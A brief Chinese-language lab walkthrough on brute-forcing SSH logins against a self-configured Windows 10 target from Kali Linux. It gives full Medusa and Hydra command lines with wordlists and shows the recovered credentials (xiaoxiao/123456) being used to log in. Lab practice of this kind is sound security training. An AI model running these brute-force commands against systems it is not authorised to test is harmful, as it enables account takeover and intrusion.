密码暴力破解工具:Hydra ( 九头蛇 ),Medusa ( 美杜莎 ),X-Hydra ( 九头蛇 ),Metasploit
一,实验准备
靶机:win10 192.168.42.134
攻击机:kali 192.168.42.129
(因为是实验,所以提前在win10上开启ssh服务,确保22端口打开)
打开win10上的设置--应用--可选功能--添加功能--openssh
win+R--输入services.msc
找到ssh server启动
找到防火墙上的高级设置,在入站规则中新建规则,端口为22,点击下一步安装
点击完成
命令行输入netstat -ano|findstr "22",查看22端口是否开启
二、开始实验
1.信息收集
用nmap进行信息收集,可以看到靶机开放了22端口的ssh服务
2.尝试进行爆破
(1)Medusa ( 美杜莎 )
medusa -h 192.168.42.134 -U /home/xiaoxiao/2.txt -P /home/xiaoxiao/1.txt -M ssh
直接进行暴力破解,可以看到,第一条数据有一个成功的标识
所以账号为:xiaoxiao,密码为:123456,直接连接
连接成功
(2)Hydra ( 九头蛇 )
hydra -L /home/xiaoxiao/1.txt -P /home/xiaoxiao/2.txt 192.168.42.134 ssh
同样可以看到账号:xiaoxiao,密码:123456,连接
连接成功!!!